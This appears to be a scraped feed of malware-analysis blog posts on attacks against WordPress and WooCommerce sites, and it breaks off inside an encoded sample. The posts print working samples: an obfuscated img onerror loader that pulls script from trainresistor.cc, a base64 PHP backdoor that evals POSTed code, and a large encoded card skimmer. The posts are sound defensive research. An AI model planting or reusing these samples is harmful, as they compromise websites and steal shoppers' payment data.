https://lukeleal.com/research/posts/trainresistor-cc-mass-injection/ A large scale campaign has been targeting vulnerable WordPress websites and injecting JavaScript malware that is downloaded from trainresistor.cc. JavaScript Injection <img class='' style='display:none;left:4363457457px;' src=l onerror="eval(/*43*/String.fromCharCode(40,102,117,110,99,116,105,111,110,40,41,32,123,10,32,32,32,32,118,97,114,32,112,105,32,61,32,100,111,99,117,109,101,110,116,46,99,114,101,97,116,101,69,108,101,109,101,110,116,40,39,115,99,114,105,112,116,39,41,59,10,32,32,32,32,112,105,46,116,121,112,101,32,61,32,39,116,101,120,116,47,106,97,118,97,115,99,114,105,112,116,39,59,10,32,32,32,32,112,105,46,115,114,99,32,61,32,39,104,116,116,112,115,58,47,47,108,101,102,116,46,116,114,97,105,110,114,101,115,105,115,116,111,114,46,99,99,47,106,111,105,110,46,106,115,63,118,61,48,46,52,46,54,39,59,10,32,32,32,32,118,97,114,32,115,32,61,32,100,111,99,117,109,101,110,116,46,103,101,116,69,108,101,109,101,110,116,115,66,121,84,97,103,78,97,109,101,40,39,105,109,103,39,41,91,48,93,59,10,32,32,32,32,115,46,112,97,114,101,110,116,78,111,100,101,46,105,110,115,101,114,116,66,101,102,111,114,101,40,112,105,44,32,115,41,59,10,32,32,125,41,40,41,59))"> img class This JavaScript malware hides itself within the HTML img class tag. onerror The attacker purposely crafts the img class to fail as the src doesn’t exist. This is done so that they can use onerror to run the stored obfuscated JavaScript whenever an error occurs (e. https://lukeleal.com/research/posts/php-backdoor-one-liner-ecommerce/ Thu, 09 Dec 2021 00:00:00 +0000 https://lukeleal.com/research/posts/php-backdoor-one-liner-ecommerce/ A one-liner PHP backdoor has recently been found on multiple compromised ecommerce websites - let us see how it works… Analysis The way that this backdoor works is that it uses the PHP function create_function to create a malicious function named a5ec0da19() and then execute it. However due to some obfuscation this is not immediately clear: $hdb2c46=@base64_decode('Y3JlYXRlX2Z1bmN0aW9u');if(@function_exists($hdb2c46)){$a5ec0da19 = @$hdb2c46('', @base64_decode('aWYJKAlpc3NldCgkX1BPU1RbcHJvZHVjdF9pZF0pICYmIAltZDUoJF9QT1NUW3Byb2R1Y3RfaWRdCik9PT0iM2JjZWExNDM2YjkwOTZhN2M3MTE4MmI3ZmEwN2NhMWQiKXsJZXZhbChiYXNlNjRfZGVjb2RlKCRfUE9TVFtpbWFnZV9pZF0pKTsJCWV4aXQoKTsgCn0='));@$a5ec0da19();} beautified $hdb2c46 = @base64_decode('Y3JlYXRlX2Z1bmN0aW9u'); if (@function_exists($hdb2c46)) { $a5ec0da19 = @$hdb2c46('', @base64_decode('aWYJKAlpc3NldCgkX1BPU1RbcHJvZHVjdF9pZF0pICYmIAltZDUoJF9QT1NUW3Byb2R1Y3RfaWRdCik9PT0iM2JjZWExNDM2YjkwOTZhN2M3MTE4MmI3ZmEwN2NhMWQiKXsJZXZhbChiYXNlNjRfZGVjb2RlKCRfUE9TVFtpbWFnZV9pZF0pKTsJCWV4aXQoKTsgCn0=')); @$a5ec0da19(); } create_function This PHP backdoor relies upon base64 encoding to obfuscate its malicious code and evade detection from signature based scanners. https://lukeleal.com/research/posts/wtf-woocommerce-skimmer-still-being-used/ Tue, 30 Nov 2021 00:00:00 +0000 https://lukeleal.com/research/posts/wtf-woocommerce-skimmer-still-being-used/ This skimmer had been injected into the wp_wc_product_data database table and was base64 encoded in addition to the usual JavaScript skimmer obfuscation. Sample js wp_wc_product_data.content PHNjcmlwdCBpZD0ic3RvcmVjaGsiPnZhciBfMHg5NDk3LF8weDhFRTUsXzB4OTQ0NixfMHg5NEU4LF8weDkzRjUsXzB4OTE2RCxfMHg4Rjg3LF8weDk2MkMsXzB4OTIwRixfMHg5NThBLF8weDkyNjAsXzB4OTJCMSxfMHg5M0E0LF8weDhGRDgsXzB4OTAyOSxfMHg5MDdBLF8weDkwQ0IsXzB4OTExQyxfMHg5NTM5LF8weDkzNTMsXzB4OEYzNixfMHg5MzAyLF8weDk1REIsXzB4OTFCRTsoZnVuY3Rpb24oKXt2YXIgXzB4OTY3RD1bIlx4NzdceDc0XHg2NiIsIlx4NzBceDcyXHg2Rlx4NzRceDZGXHg3NFx4NzlceDcwXHg2NSIsIlx4MjQiLCJceDczXHg3MFx4NkNceDY5XHg3NCIsIlx4NzJceDY1XHg2NFx4NzVceDYzXHg2NSIsIlx4NjZceDcyXHg2Rlx4NkRceDQzXHg2OFx4NjFceDcyXHg0M1x4NkZceDY0XHg2NSIsIlx4NkRceDYxXHg3MCIsIiIsIlx4NzJceDY1XHg3MFx4NkNceDYxXHg2M1x4NjUiLCJceDc0XHg2Rlx4NTNceDc0XHg3Mlx4NjlceDZFXHg2NyIsIlx4MzZceDM3XHgyNFx4MzdceDM1XHgyNFx4MzZceDM1XHgyNFx4MzdceDMyXHgyNFx4MzZceDM5XHgyNFx4MzZceDY1XHgyNFx4MzZceDM5XHgyNFx4MzdceDM1XHgyNFx4MzdceDMzXHgyNFx4MzZceDMxXHgyNFx4MzJceDY1XHgyNFx4MzZceDMzXHgyNFx4MzZceDY2XHgyNFx4MzZceDY0IiwiXHgzMlx4NjZceDI0XHgzNlx4MzNceDI0XHgzNlx4MzhceDI0XHgzNlx4MzVceDI0XHgzNlx4MzNceDI0XHgzNlx4NjJceDI0XHgzNlx4NjZceDI0XHgzN1x4MzVceDI0XHgzN1x4MzQiLCJceDM2XHgzOFx4MjRceDM3XHgzNFx4MjRceDM3XHgzNFx4MjRceDM3XHgzMFx4MjRceDM3XHgzM1x4MjRceDMzXHg2MVx4MjRceDMyXHg2Nlx4MjRceDMyXHg2Nlx4MjRceDM2XHgzM1x4MjRceDM2XHg2Nlx4MjRceDM2XHg2NVx4MjRceDM3XHgzNlx4MjRceDM2XHgzNVx4MjRceDM3XHgzMlx4MjRceDM3XHgzNFx4MjRceDMyXHg2NFx4MjRceDM3XHgzM1x4MjRceDM2XHgzNVx4MjRceDM3XHgzMlx4MjRceDM3XHgzNlx4MjRceDM2XHgzNVx4MjRceDM3XHgzMlx4MjRceDMyXHg2NVx4MjRceDM2XHgzM1x4MjRceDM2XHg2Nlx4MjRceDM2XHg2NFx4MjRceDMyXHg2Nlx4MjRceDM2XHgzMVx4MjRceDM2XHg2NVx4MjRceDM2XHgzMVx4MjRceDM2XHg2M1x4MjRceDM3XHgzOVx4MjRceDM3XHg2MVx4MjRceDM2XHgzNSIsIlx4MzZceDM4XHgyNFx4MzdceDM0XHgyNFx4MzdceDM0XHgyNFx4MzdceDMwXHgyNFx4MzdceDMzXHgyNFx4MzNceDYxXHgyNFx4MzJceDY2XHgyNFx4MzJceDY2XHgyNFx4MzZceDMzXHgyNFx4MzZceDY2XHgyNFx4MzZceDY1XHgyNFx4MzdceDM2XHgyNFx4MzZceDM1XHgyNFx4MzdceDMyXHgyNFx4MzdceDM0XHgyNFx4MzJceDY0XHgyNFx4MzdceDMzXHgyNFx4MzZceDM1XHgyNFx4MzdceDMyXHgyNFx4MzdceDM2XHgyNFx4MzZceDM1XHgyNFx4MzdceDMyXHgyNFx4MzJceDY1XHgyNFx4MzZceDMzXHgyNFx4MzZceDY2XHgyNFx4MzZceDY0IiwiXHgzNlx4MzhceDI0XHgzN1x4MzRceDI0XHgzN1x4MzRceDI0XHgzN1x4MzBceDI0XHgzN1x4MzNceDI0XHgzM1x4NjFceDI0XHgzMlx4NjZceDI0XHgzMlx4NjZceDI0XHgzNlx4MzNceDI0XHgzNlx4NjZceDI0XHgzNlx4NjVceDI0XHgzN1x4MzZceDI0XHgzNlx4MzVceDI0XHgzN1x4MzJceDI0XHgzN1x4MzRceDI0XHgzMlx4NjRceDI0XHgzN1x4MzNceDI0XHgzNlx4MzVceDI0XHgzN1x4MzJceDI0XHgzN1x4MzZceDI0XHgzNlx4MzVceDI0XHgzN1x4MzJceDI0XHgzMlx4NjVceDI0XHgzNlx4MzNceDI0XHgzNlx4NjZceDI0XHgzNlx4NjRceDI0XHgzMlx4NjZceDI0XHgzNVx4MzNceDI0XHgzNFx4NjFceDI0XHgzN1x4NjFceDI0XHgzNVx4MzRceDI0XHgzNFx4MzNceDI0XHgzN1x4MzJceDI0XHgzN1x4MzhceDI0XHgzNFx4NjRceDI0XHgzNFx4NjZceDI0XHgzM1x4MzBceDI0XHgzNFx4NjZceDI0XHgzM1x4MzdceDI0XHgzN1x4MzRceDI0XHgzNlx4MzkiLCJceDM3XHgzN1x4MjRceDM3XHgzMFx4MjRceDM1XHg2Nlx4MjRceDM3XHgzN1x4MjRceDM2XHg2Nlx4MjRceDM2XHg2NiIsIlx4NzNceDc0XHg2Rlx4NzJceDY1XHg2M1x4NjhceDZCIiwiXHgzN1x4MzdceDI0XHgzNlx4MzNceDI0XHgzMlx4NjRceDI0XHgzN1x4MzVceDI0XHgzN1x4MzNceDI0XHgzNlx4MzFceDI0XHgzMlx4NjRceDI0XHgzNlx4MzVceDI0XHgzN1x4MzBceDI0XHgzNlx4MzFceDI0XHgzN1x4MzlceDI0XHgzMlx4NjRceDI0XHgzNlx4MzNceDI0XHgzN1x4MzJceDI0XHgzNlx4MzVceDI0XHgzNlx4MzRceDI0XHgzNlx4MzlceDI0XHgzN1x4MzRceDI0XHgzMlx4NjRceDI0XHgzNlx4MzNceDI0XHgzNlx4MzFceDI0XHgzN1x4MzJceDI0XHgzNlx4MzQiLCJceDM2XHgzNlx4MjRceDM2XHg2Nlx4MjRceDM3XHgzMlx4MjRceDM2XHg2NFx4MjRceDM1XHg2Mlx4MjRceDM2XHg2NVx4MjRceDM2XHgzMVx4MjRceDM2XHg2NFx4MjRceDM2XHgzNVx4MjRceDMzXHg2NFx4MjRceDMyXHgzN1x4MjRceDM2XHgzM1x4MjRceDM2XHgzOFx4MjRceDM2XHgzNVx4MjRceDM2XHgzM1x4MjRceDM2XHg2Mlx4MjRceDM2XHg2Nlx4MjRceDM3XHgzNVx4MjRceDM3XHgzNFx4MjRceDMyXHgzN1x4MjRceDM1XHg2NCIsIlx4MzdceDM3XHgyNFx4MzZceDMzXHgyNFx4MzJceDY0XHgyNFx4MzdceDM1XHgyNFx4MzdceDMzXHgyNFx4MzZceDMxXHgyNFx4MzJceDY0XHgyNFx4MzZceDM1XHgyNFx4MzdceDMwXHgyNFx4MzZceDMxXHgyNFx4MzdceDM5XHgyNFx4MzJceDY0XHgyNFx4MzZceDMzXHgyNFx4MzdceDMyXHgyNFx4MzZceDM1XHgyNFx4MzZceDM0XHgyNFx4MzZceDM5XHgyNFx4MzdceDM0XHgyNFx4MzJceDY0XHgyNFx4MzZceDMzXHgyNFx4MzZceDMxXHgyNFx4MzdceDMyXHgyNFx4MzZceDM0XHgyNFx4MzJceDY0XHgyNFx4MzZceDMxXHgyNFx4MzZceDMzXHgyNFx4MzZceDMzXHgyNFx4MzZceDY2XHgyNFx4MzdceDM1XHgyNFx4MzZceDY1XHgyNFx4MzdceDM0XHgyNFx4MzJceDY0XHgyNFx4MzZceDY1XHgyNFx4MzdceDM1XHgyNFx4MzZceDY0XHgyNFx4MzZceDMyXHgyNFx4MzZceDM1XHgyNFx4MzdceDMyIiwiXHgzN1x4MzdceDI0XHgzNlx4MzNceDI0XHgzMlx4NjRceDI0XHgzN1x4MzVceDI0XHgzN1x4MzNceDI0XHgzNlx4MzFceDI0XHgzMlx4NjRceDI0XHgzNlx4MzVceDI0XHgzN1x4MzBceDI0XHgzNlx4MzFceDI0XHgzN1x4MzlceDI0XHgzMlx4NjRceDI0XHgzNlx4MzNceDI0XHgzN1x4MzJceDI0XHgzNlx4MzVceDI0XHgzNlx4MzRceDI0XHgzNlx4MzlceDI0XHgzN1x4MzRceDI0XHgzMlx4NjRceDI0XHgzNlx4MzNceDI0XHgzNlx4MzFceDI0XHgzN1x4MzJceDI0XHgzNlx4MzRceDI0XHgzMlx4NjRceDI0XHgzNlx4MzNceDI0XHgzN1x4MzNceDI0XHgzNlx4MzMiLCJceDM3XHgzN1x4MjRceDM2XHgzM1x4MjRceDMyXHg2NFx4MjRceDM3XHgzNVx4MjRceDM3XHgzM1x4MjRceDM2XHgzMVx4MjRceDMyXHg2NFx4MjRceDM2XHgzNVx4MjRceDM3XHgzMFx4MjRceDM2XHgzMVx4MjRceDM3XHgzOVx4MjRceDMyXHg2NFx4MjRceDM2XHgzM1x4MjRceDM3XHgzMlx4MjRceDM2XHgzNVx4MjRceDM2XHgzNFx4MjRceDM2XHgzOVx4MjRceDM3XHgzNFx4MjRceDMyXHg2NFx4MjRceDM2XHgzM1x4MjRceDM2XHgzMVx4MjRceDM3XHgzMlx4MjRceDM2XHgzNFx4MjRceDMyXHg2NFx4MjRceDM2XHgzNVx4MjRceDM3XHgzOFx4MjRceDM3XHgzMFx4MjRceDM2XHgzOVx4MjRceDM3XHgzMlx4MjRceDM3XHgzOSIsIlx4MzZceDM5XHgyNFx4MzZceDY1XHgyNFx4MzdceDMwXHgyNFx4MzdceDM1XHgyNFx4MzdceDM0XHgyNFx4MzJceDMzXHgyNFx4MzdceDMwXHgyNFx4MzZceDMxXHgyNFx4MzdceDM5XHgyNFx4MzZceDY0XHgyNFx4MzZceDM1XHgyNFx4MzZceDY1XHgyNFx4MzdceDM0XHgyNFx4MzVceDY2XHgyNFx4MzZceDY0XHgyNFx4MzZceDM1XHgyNFx4MzdceDM0XHgyNFx4MzZceDM4XHgyNFx4MzZceDY2XHgyNFx4MzZceDM0XHgyNFx4MzVceDY2XHgyNFx4MzdceDM1XHgyNFx4MzdceDMzXHgyNFx4MzZceDMxXHgyNFx4MzVceDY2XHgyNFx4MzZceDM1XHgyNFx4MzdceDMwXHgyNFx4MzZceDMxXHgyNFx4MzdceDM5XHgyNFx4MzVceDY2XHgyNFx4MzZceDMzXHgyNFx4MzdceDMyXHgyNFx4MzZceDM1XHgyNFx4MzZceDM0XHgyNFx4MzZceDM5XHgyNFx4MzdceDM0XHgyNFx4MzVceDY2XHgyNFx4MzZceDMzXHgyNFx4MzZceDMxXHgyNFx4MzdceDMyXHgyNFx4MzZceDM0IiwiXHg2QVx4NzMiLCJceDczXHg2M1x4NzJceDY5XHg3MFx4NzQiLCJceDYzXHg3M1x4NzMiLCJceDZDXHg2OVx4NkVceDZCIiwiXHg2RVx4NkZceDZFXHg2NSIsIlx4NjlceDY0IiwiXHg2OFx4NzJceDY1XHg2NiIsIlx4NjdceDY1XHg3NFx4NDVceDZDXHg2NVx4NkRceDY1XHg2RVx4NzRceDczXHg0Mlx4NzlceDU0XHg2MVx4NjdceDRFXHg2MVx4NkRceDY1IiwiXHg2Q1x4NjVceDZFXHg2N1x4NzRceDY4IiwiXHg2N1x4NjVceDc0XHg0MVx4NzRceDc0XHg3Mlx4NjlceDYyXHg3NVx4NzRceDY1IiwiXHg2OVx4NkVceDY0XHg2NVx4NzhceDRGXHg2NiIsIlx4NzJceDY1XHg2RFx4NkZceDc2XHg2NVx4NDNceDY4XHg2OVx4NkNceDY0IiwiXHg3MFx4NjFceDcyXHg2NVx4NkVceDc0XHg0RVx4NkZceDY0XHg2NSIsIlx4NkNceDZGXHg2NyIsIlx4NzJceDZGXHg3NFx4MzFceDMzIiwiXHg1QSIsIlx4NjNceDY4XHg2MVx4NzJceDQzXHg2Rlx4NjRceDY1XHg0MVx4NzQiLCJceDcyXHg2Rlx4NzRceDM1IiwiXHg2QVx4NkZceDY5XHg2RSIsIlx4NjdceDY1XHg3NFx4NEZceDc3XHg2RVx4NTBceDcyXHg2Rlx4NzBceDY1XHg3Mlx4NzRceDc5XHg0NFx4NjVceDczXHg2M1x4NzJceDY5XHg3MFx4NzRceDZGXHg3MiIsIlx4NjRceDY1XHg2Nlx4NjlceDZFXHg2NVx4NTBceDcyXHg2Rlx4NzBceDY1XHg3Mlx4NzRceDc5IiwiXHg0OVx4NkVceDIwXHg2M1x4NkZceDZDXHg2Q1x4NjVceDYzXHg3NFx4NDRceDYxXHg3NFx4NjEiLCJceDczXHg2NVx4NzJceDY5XHg2MVx4NkNceDY5XHg3QVx4NjVceDQxXHg3Mlx4NzJceDYxXHg3OSIsIlx4NzNceDY4XHg2OVx4NzBceDcwXHg2OVx4NkVceDY3XHg1RiIsIlx4NkVceDYxXHg2RFx4NjUiLCJceDYyXHg2OVx4NkNceDZDXHg2OVx4NkVceDY3XHg1RiIsIlx4NzZceDYxXHg2Q1x4NzVceDY1IiwiXHg2NVx4NjFceDYzXHg2OCIsIlx4NjlceDZFXHg3MFx4NzVceDc0XHg1Qlx4NjlceDY0XHgyQVx4M0RceDIyIiwiXHgyMlx4NURceDNBXHg3Nlx4NjlceDczXHg2OVx4NjJceDZDXHg2NSIsIlx4NjZceDY5XHg2RVx4NjQiLCJceDYxXHg3NFx4NzRceDcyIiwiXHgyRFx4NjNceDYxXHg3Mlx4NjRceDJEXHg2RVx4NzVceDZEXHg2Mlx4NjVceDcyIiwiXHgyRFx4NjNceDYxXHg3Mlx4NjRceDJEXHg2M1x4NzZceDYzIiwiXHgyRFx4NjNceDYxXHg3Mlx4NjRceDJEXHg2NVx4NzhceDcwXHg2OVx4NzJceDc5IiwiXHgyMFx4MkZceDIwIiwiXHg1Rlx4NjNceDYzXHg1Rlx4NkZceDc3XHg2RVx4NjVceDcyIiwiXHg2M1x4NjhceDY1XHg2M1x4NkJceDY1XHg2NCIsIlx4NzBceDcyXHg2Rlx4NzAiLCJceDQ5XHg2RVx4MjBceDcwXHg3Mlx4NkZceDYzXHg2NVx4NzNceDczXHg1MFx4NkNceDYxXHg2M1x4NjVceDRGXHg3Mlx4NjRceDY1XHg3MiIsIlx4NzNceDc1XHg2Mlx4NkRceDY5XHg3NCIsIlx4NzBceDcyXHg2Rlx4NjNceDY1XHg3M1x4NzNceDUwXHg2Q1x4NjFceDYzXHg2NVx4NEZceDcyXHg2NFx4NjVceDcyXHgzQVx4NTNceDU1XHg0Mlx4NERceDQ5XHg1NCIsIlx4NDJceDYxXHg2NFx4MjBceDcwXHg2MVx4NzlceDZEXHg2NVx4NkVceDc0XHgyMFx4NzRceDc5XHg3MFx4NjUiLCJceDUwXHg2MVx4NzlceDZEXHg2NVx4NkVceDc0XHgyMFx4NzNceDY1XHg2RVx4NjRceDY1XHg2NCIsIlx4NjFceDZDXHg3N1x4NjFceDc5XHg3MyIsIlx4NTBceDRGXHg1M1x4NTQiLCJceDczXHg3NFx4NzJceDY5XHg2RVx4NjdceDY5XHg2Nlx4NzkiLCJceDc0XHg2NVx4NzhceDc0XHgyRlx4NzBceDZDXHg2MVx4NjlceDZFIiwiXHg2MVx4NkFceDYxXHg3OCIsIlx4NDVceDc4XHg2M1x4NjVceDcwXHg3NFx4NjlceDZGXHg2RVx4MjBceDZGXHg2RVx4MjBceDczXHg3NVx4NjJceDZEXHg2OVx4NzQiLCJceDZGXHg2RSIsIlx4NDlceDZFXHgyMFx4NzdceDYxXHg2OVx4NzRceDUwXHg2Q1x4NjFceDYzXHg2NVx4NEZceDcyXHg2NFx4NjVceDcyIiwiXHgzQVx4NzZceDY5XHg3M1x4NjlceDYyXHg2Q1x4NjUiLCJceDY5XHg3MyIsIlx4NzdceDYxXHg2OVx4NzRceDUwXHg2Q1x4NjFceDYzXHg2NVx4NEZceDcyXHg2NFx4NjVceDcyXHgzQVx4MjBceDRGXHg0QiIsIlx4NDlceDZFXHgyMFx4NjRceDZGXHg2M1x4NzVceDZEXHg2NVx4NkVceDc0XHgyMFx4NzJceDY1XHg2MVx4NjRceDc5IiwiXHg2N1x4NjVceDc0IiwiXHgyM1x4NzdceDcwXHg2MVx4NjRceDZEXHg2OVx4NkVceDYyXHg2MVx4NzIiLCJceDcyXHg2NVx4NjFceDY0XHg3OSIsIlx4NkZceDc1XHg3NFx4NjVceDcyXHg1N1x4NjlceDY0XHg3NFx4NjgiLCJceDY5XHg2RVx4NkVceDY1XHg3Mlx4NTdceDY5XHg2NFx4NzRceDY4IiwiXHg2Rlx4NzVceDc0XHg2NVx4NzJceDQ4XHg2NVx4NjlceDY3XHg2OFx4NzQiLCJceDY5XHg2RVx4NkVceDY1XHg3Mlx4NDhceDY1XHg2OVx4NjdceDY4XHg3NCIsIlx4NDZceDY5XHg3Mlx4NjVceDYyXHg3NVx4NjciLCJceDYzXHg2OFx4NzJceDZGXHg2RFx4NjUiLCJceDY5XHg3M1x4NDlceDZFXHg2OVx4NzRceDY5XHg2MVx4NkNceDY5XHg3QVx4NjVceDY0IiwiXHg0OVx4NkVceDIwXHg3N1x4NjFceDY5XHg3NFx4NDZceDZGXHg3Mlx4NEFceDcxXHg3NVx4NjVceDcyXHg3OSIsIlx4NkFceDUxXHg3NVx4NjVceDcyXHg3OSIsIlx4NzdceDYxXHg2OVx4NzRceDQ2XHg2Rlx4NzJceDRBXHg3MVx4NzVceDY1XHg3Mlx4NzlceDNBXHgyMFx4NEZceDRCIiwiXHg2Q1x4NkZceDYzXHg2MVx4NzRceDY5XHg2Rlx4NkUiXTtmdW5jdGlvbiBfMHg5NkNFKCl7dmFyIF8weDk4QjQ9dGhpc1tfMHg5NjdEWzNdXShfMHg5NjdEWzJdKTt2YXIgXzB4OTkwNT1fMHg5OEI0W18weDk2N0RbNl1dKGZ1bmN0aW9uKF8weDk5NTYpe3JldHVybiBTdHJpbmdbXzB4OTY3RFs1XV0ocGFyc2VJbnQoXzB4OTk1NiwxNikpfSlbXzB4OTY3RFs0XV0oZnVuY3Rpb24oXzB4OTlBNyxfMHg5OUY4KXtyZXR1cm4gXzB4OTlBNysgXzB4OTlGOH0pO3JldHVybiBfMHg5OTA1W18weDk2N0RbOV1dKClbXzB4OTY3RFs4XV0oLywvZyxfMHg5NjdEWzddKX1mdW5jdGlvbiBfMHg5NzFGKF8weDlBOUEsXzB4OUFFQil7dmFyIF8weDlCREU9KF8weDlBRUI9PT0gXzB4OTY3RFsyM10pP18weDk2N0RbMjRdOihfMHg5QUVCPT09IF8weDk2N0RbMjVdKT9fMHg5NjdEWzI2XTpfMHg5NjdEWzI3XTt2YXIgXzB4OUI4RD0oXzB4OUFFQj09PSBfMHg5NjdEWzIzXSk/XzB4OTY3RFsyOF06KF8weDlBRUI9PT0gXzB4OTY3RFsyNV0pP18weDk2N0RbMjldOl8weDk2N0RbMjddO3ZhciBfMHg5QTQ5PWRvY3VtZW50W18weDk2N0RbMzBdXShfMHg5QkRFKTtmb3IodmFyIF8weDlCM0M9XzB4OUE0OVtfMHg5NjdEWzMxXV07XzB4OUIzQz49IDA7XzB4OUIzQy0tKXtpZihfMHg5N0MxPT0gdHJ1ZSl7XzB4OTg2MyhudWxsLF8weDk2N0RbODddKTtyZXR1cm59O2lmKF8weDlBNDlbXzB4OUIzQ10mJiBfMHg5QTQ5W18weDlCM0NdW18weDk2N0RbMzJdXShfMHg5QjhEKSE9PSBudWxsJiYgXzB4OUE0OVtfMHg5QjNDXVtfMHg5NjdEWzMyXV0oXzB4OUI4RClbXzB4OTY3RFszM11dKF8weDlBOUEpIT09ICAtMSl7aWYoXzB4OTg2Mz09IGZhbHNlKXtyZXR1cm59O18weDlBNDlbXzB4OUIzQ11bXzB4OTY3RFszNV1dW18weDk2N0RbMzRdXShfMHg5QTQ5W18weDlCM0NdKX19fWZ1bmN0aW9uIF8weDk3NzAoXzB4OUM4MCxfMHg5QzJGKXtpZihfMHg4Rjg3KXtjb25zb2xlW18weDk2N0RbMzZdXShfMHg5QzgwKX19ZnVuY3Rpb24gXzB4OTdDMSgpe2lmKCFfMHg5NjdEKXtfMHg5ODEyKG51bGwsdHJ1ZSl9O1N0cmluZ1tfMHg5NjdEWzFdXVtfMHg5NjdEWzM3XV09IGZ1bmN0aW9uKCl7cmV0dXJuIHRoaXNbXzB4OTY3RFs4XV0oL1thLXpBLVpdL2csZnVuY3Rpb24oXzB4OTk1Nil7cmV0dXJuIFN0cmluZ1tfMHg5NjdEWzVdXSgoXzB4OTk1Njw9IF8weDk2N0RbMzhdPzkwOjEyMik+PSAoXzB4OTk1Nj0gXzB4OTk1NltfMHg5NjdEWzM5XV0oMCkrIDEzKT9fMHg5OTU2Ol8weDk5NTYtIDI2KX0pfTtTdHJpbmdbXzB4OTY3RFsxXV1bXzB4OTY3RFs0MF1dPSBmdW5jdGlvbigpe3ZhciBfMHg5OTA1PVtdO2ZvcihpPSAwO2k8IHRoaXNbXzB4OTY3RFszMV1dO2krKyl7aWR4PSB0aGlzW18weDk2N0RbMzldXShpKTtpZigoaWR4Pj0gNDgpJiYgKGlkeDw9IDU3KSl7aWYoaWR4PD0gNTIpe18weDk5MDVbaV09IFN0cmluZ1tfMHg5NjdEWzVdXSgoKGlkeCsgNSkpKX1lbHNlIHtfMHg5OTA1W2ldPSBTdHJpbmdbXzB4OTY3RFs1XV0oKChpZHgtIDUpKSl9fWVsc2Uge18weDk5MDVbaV09IFN0cmluZ1tfMHg5NjdEWzVdXShpZHgpfX07cmV0dXJuIF8weDk5MDVbXzB4OTY3RFs0MV1dKF8weDk2N0RbN10pfTtmdW5jdGlvbiBfMHg5Q0QxKF8weDlGRkIpe3JldHVybiBidG9hKGVuY29kZVVSSUNvbXBvbmVudChfMHg5RkZCKVtfMHg5NjdEWzhdXSgvJShbMC05QS1GXXsyfSkvZyxmdW5jdGlvbihfMHhBMDRDLF8weEEwOUQpe3JldHVybiBTdHJpbmdbXzB4OTY3RFs1XV0ocGFyc2VJbnQoXzB4QTA5RCwxNikpfSkpfWZ1bmN0aW9uIF8weDlFQjcoXzB4QTFFMSxfMHhBMjMyLF8weEExOTApe2lmKF8weEEyMzIhPT0gXzB4QTE5MCYmIF8weEExRTFbXzB4QTIzMl0pe09iamVjdFtfMHg5NjdEWzQzXV0oXzB4QTFFMSxfMHhBMTkwLE9iamVjdFtfMHg5NjdEWzQyXV0oXzB4QTFFMSxfMHhBMjMyKSk7aWYoIV8weDk3MUYpe18weDk3QzE9IG51bGx9ZWxzZSB7ZGVsZXRlIF8weEExRTFbXzB4QTIzMl19fX12YXIgXzB4OUQ3Mz17dXJsOl8weDk0OTdbXzB4OTY3RFswXV0oKSx0eXBlOl8weDkxNkRbXzB4OTY3RFswXV0oKSxtZXI6XzB4OTJCMVtfMHg5NjdEWzBdXSgpfTtmdW5jdGlvbiBfMHg5RDIyKF8weEEwRUUpe2lmKCFfMHg5ODEyKXtyZXR1cm59O18weDk3NzAoXzB4OTY3RFs0NF0sMSk7alF1ZXJ5W18weDk2N0RbNTBdXShfMHhBMEVFW18weDk2N0RbNDVdXSgpLGZ1bmN0aW9uKCl7aWYoKHRoaXNbXzB4OTY3RFs0N11dW18weDk2N0RbMzNdXShfMHg5NjdEWzQ2XSkhPT0gIC0xfHwgdGhpc1tfMHg5NjdEWzQ3XV1bXzB4OTY3RFszM11dKF8weDk2N0RbNDhdKSE9PSAgLTF8fCB0aGlzW18weDk2N0RbNDddXVtfMHg5NjdEWzMzXV0oXzB4OTJCMVtfMHg5NjdEWzBdXSgpKSE9PSAgLTEpJiYgdGhpc1tfMHg5NjdEWzQ5XV0hPSBfMHg5NjdEWzddKXtfMHg5RDczW3RoaXNbXzB4OTY3RFs0N11dXT0gdGhpc1tfMHg5NjdEWzQ5XV19fSk7alF1ZXJ5W18weDk2N0RbNTBdXShfMHhBMEVFW18weDk2N0RbNTNdXShfMHg5NjdEWzUxXSsgXzB4OTJCMVtfMHg5NjdEWzBdXSgpKyBfMHg5NjdEWzUyXSksZnVuY3Rpb24oKXtfMHg5RDczW2pRdWVyeSh0aGlzKVtfMHg5NjdEWzU0XV0oXzB4OTY3RFsyOF0pXT0gdGhpc1tfMHg5NjdEWzQ5XV19KTtfMHg5RUI3KF8weDlENzMsXzB4OEZEOFtfMHg5NjdEWzBdXSgpLF8weDkyQjFbXzB4OTY3RFswXV0oKSsgXzB4OTY3RFs1NV0pO18weDlFQjcoXzB4OUQ3MyxfMHg5MDI5W18weDk2N0RbMF1dKCksXzB4OTJCMVtfMHg5NjdEWzBdXSgpKyBfMHg5NjdEWzU2XSk7XzB4OUVCNyhfMHg5RDczLF8weDkwN0FbXzB4OTY3RFswXV0oKSxfMHg5MkIxW18weDk2N0RbMF1dKCkrIF8weDk2N0RbNTddKTtpZighXzB4OTc3MCl7XzB4OTc3MCgpO3JldHVybn1lbHNlIHtpZihfMHg5MENCJiYgXzB4OUQ3M1tfMHg5MENCW18weDk2N0RbMF1dKCldKXtpZighXzB4OTY3RCl7XzB4OTdDMSgwKTtfMHg5NzFGPSAwO3JldHVybn07XzB4OUQ3M1tfMHg5MkIxW18weDk2N0RbMF1dKCkrIF8weDk2N0RbNTddXT0gXzB4OUQ3M1tfMHg5MkIxW18weDk2N0RbMF1dKCkrIF8weDk2N0RbNTddXSsgXzB4OTY3RFs1OF0rIF8weDlENzNbXzB4OTBDQltfMHg5NjdEWzBdXSgpXTtpZighXzB4OTZDRSl7XzB4OTdDMSgpO18weDk2Q0U9IG51bGw7cmV0dXJufWVsc2Uge2RlbGV0ZSBfMHg5RDczW18weDkwQ0JbXzB4OTY3RFswXV0oKV19fX07aWYoXzB4OTExQyl7XzB4OUVCNyhfMHg5RDczLF8weDkxMUNbXzB4OTY3RFswXV0oKSxfMHg5MkIxW18weDk2N0RbMF1dKCkrIF8weDk2N0RbNTldKX19ZnVuY3Rpb24gXzB4OURDNCgpe2lmKF8weDk1Mzkpe2lmKCFfMHg5NzFGKXtyZXR1cm59O3JldHVybiBqUXVlcnkoXzB4OTUzOVtfMHg5NjdEWzBdXSgpKVtfMHg5NjdEWzYxXV0oXzB4OTY3RFs2MF0pfWVsc2Uge3JldHVybiB0cnVlfX1mdW5jdGlvbiBfMHg5RTY2KCl7XzB4OTc3MChfMHg5NjdEWzYyXSwxKTtqUXVlcnkoXzB4OTNBNFtfMHg5NjdEWzBdXSgpKVtfMHg5NjdEWzczXV0oXzB4OTY3RFs2M10sZnVuY3Rpb24oKXt0cnl7XzB4O